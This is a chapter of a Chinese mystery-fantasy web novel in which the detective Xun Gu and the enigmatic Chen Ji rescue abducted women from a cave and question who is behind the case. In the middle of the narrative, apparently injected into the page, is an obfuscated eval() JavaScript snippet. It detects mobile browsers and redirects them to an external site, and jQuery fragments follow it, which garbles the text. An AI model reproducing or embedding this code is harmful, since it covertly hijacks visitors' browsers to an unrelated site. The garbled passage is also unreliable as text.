56.结案·未结

作品:《被绑架的侦探笔记

    陈集的效率是极高的,杀人和救人都一样。不过陈集从来不是听话的主,荀古要他救两个,他却全都救了。


    荀古脚上像涂抹了凝胶,每一步都很沉重,他也无暇顾及身后陈集救了几个人,只想走到那山洞。


    丑女是个合格的NPC,传递消息且推进故事情节发展后殒命。


    而他是进行游戏的人,他实在不能辜负这位伟大的NPC。


    山洞洞口狭窄,一人通过足好,两个人就有些拥挤。荀古高高瘦瘦,除了个头上需要委身外都很合适。


    洞口映出洞里的黑,通常情况下是要有照明才好进去的,否则两眼一抹黑,说不定碰到什么踩到什么……


    “嗯~”


    极其细小的声音从下面的位置传来,荀古往后跳了半步,才想起他有火折子。火苗微弱,在这浅而阔的山洞里显得极其微不足道,也足够他看清些什么。


    人,站着躺着横着竖着死的活的都是人。女人,妙龄之年的女人。这或许是她们这一生最难堪的时候,但在荀古眼中这些女子比他还要拧。


    “拧”这个字是荀古对他自己的评价,他和时序探讨过这个话题,时序说在他们那里这叫执拗。


    说起执拗就要提到那位尽人皆知的荒夏,“执拗”也好,“固执”也罢,大都与他有关。


    这便扯远了。


    荀古蹲下身子将手中的火光往前递了递,不想遭了埋伏,就在他右手的方向冲出来一个人影,一下子将他掀翻在地,手里的火折子也滚轮之后被盖灭了。


    荀古后腰撞上不知名物,狠狠一疼,未及他从疼痛中回过劲来,他的胳膊腿就被人捡了起来,摩擦着拖拉着往一个方向挪动了足一米的距离。


    那是正中间的位置,因为他看到了洞口的光以及陈集那双怎么都不沾灰的鞋。


    “啧……唉,要我说你什么好,堂堂一个大男人,让人家又饿又累的受害者拖拉成这样,丢人呐。”


    荀古躺在地上仰面看黑漆漆的洞顶,半个声都发不出来。他死不了,但要想舒坦点活,陈集是指望,只是这个“指望”多少有点子爱玩的心眼子。


    “人我替你救了。”陈集站在洞口,感觉一时片刻没有要进来的意思。


    荀古得了丝丝舒坦,说:“多谢,但那三位不是我要救得,你既然救了出来,就归你负责。”


    短短两句对话后,荀古先是听见洞里传来声声低吟,乃是痛苦之故,接着钳制他的手先后松开,荀古立刻从地上挣扎起来,吁叹道:“神呐,救个命吧。”


    陈集也不放过他:“神救不了你,神甚至救不了荒夏,自求多福可以,自寻死路可以,求神问卜不可以。”


    “这洞里真就没有您下脚的地方吗?”


    陈集长“嗯”道:“脚底这个地方我看不到也感觉不到,但我总觉得要尊重别人,要让别人看到了赏心悦目,故而有可能脏的地方我是轻易不落脚的。”


    “再脏我都躺干净了,劳您大驾,进来一趟。”


    “嗯……好吧。”陈集这么应着,荀古就以为他会直接走进来,不曾想洞里“噌”的一声火光乍起,四壁居然插着五根火把,火把毫无征兆地亮起,让并不深的洞一下子毫无秘密可言。


    陈集也终于走进了这腌臜又神圣的地方。


    对于陈集的行为荀古也就白目片刻,他看到了这洞真正的主人——那七十九个不知道从什么地方来了姑娘,死的活的已经不能一下子分辨出来了。


    “这里绝对不止死了一两个人,但尸身腐烂,居然没有味道飘出来,荀古,你摊上大事了。”陈集微微皱眉,一边说着一边往里走,走到最近的那个姑娘伸出手蹲下身来探了探,发出轻微叹息,“你该问问白桦,倘若案中有人死去,是全然不会影响你,还是足量之后多少会有所影响?”


    “不清楚,我和你说过,白桦让我杀了你,白桦还说这一案会有所不同,但还是那句话,不杀你有什么后果,有所不同是什么不同,我都不知道。”荀古缓缓起身走过去,他以为陈集只是单纯探一探脉搏气息,不想过去后却看见陈集手指尖像是有光芒在一点一点如流水一般输进那女孩脖颈之间。


    这是他第一次直观的看到类似【神迹】的奇妙东西。


    荀古皱眉,他是真的没看懂陈集这个人,好与坏,善与恶,正与邪好似都不足够形容他,又或许这几个词都和他没什么关系,又都有点关系,他有目的,而且一定是很深很大的目的,但在他的干涉下,大乱子小乱子都没出过,他更像是他自己说的那样,为了他那闭关的老大找一条可走的路。


    当然,荀古是不相信的。


    “别碰她!”一个女孩扑过来,她头发蓬乱油黑,面容羸瘦且一下子根本看不出是个什么模样,她也是气力都用尽的那些人里的一个,但她扑过来的样子又像很有力量一般,荀古被吓了一下,陈集则顺从的后撤半步又换到下一个人。


    陈集离开后原本已经断气的女孩居然有了生的迹象,这让荀古惊诧也让有敌意的女孩怔愣住。


    “你……”


    “你太虚弱了,歇着吧,这些人我一个也不会伤害,有可能的话我都能予以一线生机,没可能的话救一个是一个,我想你能明白我的意思,也不是歇斯底里不明道理的人。”陈集语气淡漠,“荀先生,她姓路,你俩不妨认个亲。”


    这位姓路的女孩参与了擒拿荀古的活动,在火光亮起来之后也没来得及第一时间去看荀古,自然就不会看到这个在她看来长着她哥哥模样的来者。


    荀古当然是认不出来的,他没有路津的记忆,可既然陈集说了,荀古还是往那路姑娘的方向看过去。


    四目相对,路姑娘先是惊,而后喜,再然后竟往后挪了挪,眼中露出来的是不可置信和悲戚。


    荀古叹了一声:“你知道的,他死了。”


    路姑娘那张原本盖了一层灰黑的脸上顿时多了四五道清晰的痕迹,是无声的哭泣,是震彻心扉的接受。


    她哽咽着,没大哭出一声来:“我不知道,我以为他逃出去了。”


    荀古蹲下身来像拍拍路姑娘的肩膀表示安慰,手伸了一半又收回来:“这里是死生之地,不好逃,即便是好逃,他也不会轻易逃走。”


    “是,他做警察的时候就是这样,改不了的。”


    荀古问到:“你是说他现在不是警察?”


    路姑娘摇摇头:“杜姐姐,也就是丑女姐姐是我们这群人里最早失踪的其中之一,她的父母到警局报案,我哥哥接了这个案子,也是因为这个案子我哥哥被撤职,起初他还只是打听着查,查到这里后也会和从前的队友汇报商量对策,可那边一直是等待状态,他有些心急却也等着住,直到我不见了……”


    “原来如此。”荀古心中感慨岂是一两句话说得清的,“你……你看到我不会有疑问吗?”


    路姑娘摇摇头:“在这里,我看到过更奇怪的事情,你不是哥哥,你的眼神和哥哥的眼神不一样,他还是个新警察,他的眼睛里有鲁莽,你没有。”


    陈集起身锤了捶腰,凡是他探过的女孩都无一例外的有了气息,这让路姑娘很激动,她嘴里说着谢谢,早已靠过去查看那些女孩的情况。


    荀古要扶一扶陈集,被陈集嫌弃了一句:“你还是顾你自己吧,我再累也没你虚。”


    话虽然是这么说的,但陈集还是慢慢走出洞外,靠在山壁上休息,荀古知道他一定是耗费很大,才会选择靠着山体休养。


    荀古在洞里又问了几句,出来就看到陈集满面倦容,浑身上下透露着淡淡的死气,荀古安慰感谢的话都无从说起,纠结之下他看着不远处被捆成一团试图逃走却最终只挪动了五六米的五个人说:“你杀过猪?这打结的方式挺像的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049544|139301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈集也是当句话回了他:“在猪圈那边看到过,学来的。”


    荀古:“那你学东西挺快。”


    陈集没再接话,而是问:“你怎么不说结案了?”


    荀古看着身后的女孩,又看看不远处的五个人,一会儿后如丢了魂似的问陈集:“你有没有觉得这一案并不是给我的案子?”


    “那是什么?”


    “你记得上一案杜漓说他给我送来了首钥吗?千岁塔的首钥,而这一案千岁塔就这么朝我涌了过来,千岁塔的人是祝我结案的人,他与渊海监牢有关,和玉衫有关。”


    “然后呢?”


    “然后我甚至不知道在这一案里所谓千岁塔的人到底是什么存在,也开始怀疑前两案里的杜漓和林亥,我一直以为他们是好的一方,至少是站在荒夏这一头的,可现在一切都乱了,加入祝我出案的人和渊海和玉衫都有关系,那么是不是和林亥和杜漓也有关系,可这个人来自千岁塔,其余人是不是也和千岁塔有关,以此而想,荒夏……”


    荀古没说出口的还有时序,甚至还有上城的法典司。


    陈集还是没能完全缓过劲来,但他比之刚才总归好一些,他离开山壁,脱了上衣,在荀古不注意的时候换上另一件干净外套,像个智者一般替荀古续言:“所以,你觉得他们之间有关联,而且如果这一案里这些事都是千岁塔指使的话,那先前在你看来正义的一方或许才是邪恶的,这么想,岂不是我成了正义一方,毕竟我跟在你身边,一桩桩一件件,我从来没害过你吧,反倒是白桦啊上城法典司啊总想着利用你,还想让你杀我,是这个道理吧,朋友。”


    “朋友”这个称呼让荀古陌生,他可以理解为陈集向他示好想拉拢他,也可以理解为陈集闲来做的乐子,而且他更愿意相信后者,只是陈集的话加重了他的沉思,沉思时候手已经不自觉搭在了手腕上,他知道时序感觉得到,也听得到他说话,这意味着他和时序正在彼此心知肚明的揣测彼此。


    自打时序和他相处以来,第一次,他对时序产生了疑问,比对陈集产生的疑问甚至还要大。


    “所以,你打算什么时候结案?”陈集又问了一遍。


    荀古回神,指着身后洞里不断往出走的女孩们说:“她们会怎么样?”


    陈集说:“她们会死,尊敬的荀先生,她们是过去式,这一案是存疑的案子,是路津的执念,你不要说到现在你还不明白,在现实世界里她们已经死了,但假如你是问在这里,在笔记世界她们会怎么样,我可以向你保证他们会好好活着,因为这里有千岁塔的介入,因为这里的丑女不是那个只能等死的丑女。”


    “那我的意义是什么?”


    “三案了,你终于开始思考你的意义是什么了,你的意义是什么呢?如果你问我,我还真能告诉你,你的意义是以一个不同的方式揭示这些真相,即便这些真相看起来有些荒诞。我还可以告诉你,现实中,这个村子在一年后由于山洪暴发,举村无一存活,反倒是这些姑娘们的尸体被冲了出来,加上路津的调查,一些真相才被得知。”


    “……”荀古忽然问,“那现实世界没有千岁塔,那些孩子是用来做什么的?”


    陈集却笑了:“好问题,这个嘛,当然还是上供喽。”


    “上供给谁?”


    “给人。”


    荀古听不懂,但荀古问陈集:“那假如,这一案我不结案呢?”


    他看着那五个人的方向,很显然,他们是没有结案的可能的。


    陈集又笑了:“又是一个好问题,但这个问题,我只能说,拭目而待吧,我也说不好,可能你们都死了,也可能你们都活着,还可能有些别的结果,谁知道呢?”


    是啊,谁知道呢,这个游戏的规则从来只有他在打破,既然已经有所打破,不如破的多一些。


    谁知道呢?